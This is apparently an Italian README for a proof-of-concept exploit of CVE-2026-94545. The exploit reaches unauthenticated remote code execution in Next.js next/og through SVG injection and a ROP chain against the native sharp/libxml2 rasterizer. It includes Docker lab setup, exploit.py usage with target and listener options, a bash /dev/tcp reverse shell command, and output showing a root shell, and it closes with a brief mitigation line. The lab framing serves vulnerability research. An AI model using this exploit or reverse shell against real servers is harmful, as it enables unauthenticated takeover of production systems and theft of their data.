
Proof-of-concept di exploit per CVE-2026-94545, un RCE non autenticato in Next.js next/og tramite iniezione SVG e una catena ROP contro il rasterizzatore nativo sharp.
★ CVE-2026-94545 Next.js next/og iniezione SVG verso RCE nativa ★
https://github.com/user-attachments/assets/e297b40b-36ad-4a9a-b0c1-a64429bc0160
next/ogcostruisce immagini Open Graph renderizzando JSX in un SVG con Satori e poi rasterizzando quell'SVG. Satori scrive il testo fornito dall'utente nell'SVG senza effettuarne l'escaping (CWE-116), quindi una richiesta può chiudere l'elemento circostante e iniettare il proprio markup SVG. Quando la route viene eseguita sul runtime Node.js consharpinstallato, quell'SVG viene rasterizzato da librerie native (libvips, librsvg, libxml2) anziché dal renderer wasm in sandbox. Un payload costruito da un riferimento XInclude e entità DTD annidate corrompe la memoria all'interno di quel parser nativo. Il binario ufficiale di Node.js è non-PIE, quindi il suo codice e la GOT non sono randomizzati e una catena ROP fissa raggiungeexecvesenza alcuna fuga di indirizzi. Una singola richiesta non autenticata a una route di immagini OG è sufficiente per eseguire comandi come processo del server.
| Categoria | Versione |
|---|---|
| Vulnerabile | Next.js 16.2.0 – 16.3.5 (runtime Node, sharp presente), Satori >=0.0.27 <0.33.5 |
| Corretta | Next.js 16.3.6 / Satori 0.33.5 o successiva |
È interessato solo il percorso del runtime Node.js. Con
export const runtime = 'edge', o un'installazione senzasharp, l'immagine viene disegnata dal rendererresvg-wasm in sandbox e il bug non porta all'esecuzione di codice.
ImageResponse è un sink.execve riuscito sostituisce il worker, quindi la richiesta HTTP si chiude semplicemente e il risultato deve tornare per un'altra via, come una reverse shell o un comando che effettua una chiamata a casa.Una app Next.js minimale che riproduce la configurazione vulnerabile. La route in /api/og renderizza
un ImageResponse sul runtime Node, e sharp è installato così viene usato il rasterizzatore nativo.
L'immagine fissa l'esatto stack da cui dipende la catena ROP (Node 24.20.0 non-PIE, Next 16.3.5, sharp
0.35.4 con libvips 8.18.6, librsvg 2.62.91, libxml2 2.15.3). La prima build scarica Node, installa
le dipendenze npm ed esegue next build, il che richiede qualche minuto.
docker build -t cve-2026-94545 .
docker run -d --name cve-2026-94545 -p 3000:3000 cve-2026-94545
# sanity check: a benign render returns 200
curl -s -o /dev/null -w "%{http_code}\n" "http://127.0.0.1:3000/api/og?value=hello"
| Precondizione | Stato in questo lab |
|---|---|
| Next.js 16.2.0 – 16.3.5 sul runtime Node | Next 16.3.5, runtime = 'nodejs' |
sharp installato, così viene usato il percorso nativo librsvg/libxml2 | sharp 0.35.4, libvips 8.18.6, rsvg 2.62.91, xml2 2.15.3 |
| Binario Node non-PIE per una base ROP stabile | Node ufficiale v24.20.0 linux-x64 (verificato tramite SHA) |
| Route immagine OG raggiungibile senza autenticazione | GET e POST /api/og, il testo della richiesta finisce in un <title> SVG |
| Percorso in uscita disponibile per una reverse shell | bash e /dev/tcp sono presenti |
La route vulnerabile è POST /api/og. Prende il corpo della richiesta e lo colloca in un <title> SVG
prima della rasterizzazione. exploit.py costruisce quell'SVG per un comando scelto, codifica la catena ROP in un
<path>, e lo invia alla route.
L'esecuzione più semplice apre una reverse shell. Fornisci il target e un indirizzo di ascolto; avvia nc
per te, lancia la richiesta e ti consegna la shell.
python3 exploit.py --target 172.17.0.3:3000 --lhost 172.17.0.4:4444
Il payload è calibrato sullo stack elencato in Ambiente, quindi eseguilo contro questa immagine o un host con la stessa build di Node e sharp. Un colpo riuscito sostituisce il processo node con il tuo comando, il che significa che la richiesta HTTP si chiude e il servizio smette di rispondere finché il container non viene riavviato.
[*] Command: bash -c 'bash -i>&/dev/tcp/172.17.0.4/4444 0>&1' (49 bytes)
[*] payload bytes=24693 sha256=...
[*] Listener: nc -lvnp 4444
[*] POST http://172.17.0.3:3000/api/og (24693 bytes)
[*] Target closed connection (expected)
connect to [172.17.0.4] from (UNKNOWN) [172.17.0.3] 43118
id
uid=0(root) gid=0(root) groups=0(root)
uname -a
Linux 6e2b1c4a7f9d 5.15.0 #1 SMP x86_64 GNU/Linux
La reverse shell viene eseguita come processo del server, il che conferma l'esecuzione di codice da una singola richiesta non autenticata. Per eseguire un singolo comando senza un listener, passalo direttamente; nota che l'output non ritorna via HTTP, quindi il comando deve inviare fuori banda qualsiasi cosa tu voglia vedere.
# single command, no listener
python3 exploit.py --target 172.17.0.3:3000 --command "id"
# only build the payload, then send it yourself
python3 exploit.py --target 172.17.0.3:3000 --command "id" --output payload.bin
curl --data-binary @payload.bin -H "Content-Type: text/plain" http://172.17.0.3:3000/api/og
next/og su export const runtime = 'edge' così viene usato il renderer wasm in sandbox, oppure rimuovi sharp così il percorso nativo non viene raggiunto, e tieni input utente non sanificato fuori dai figli di ImageResponse.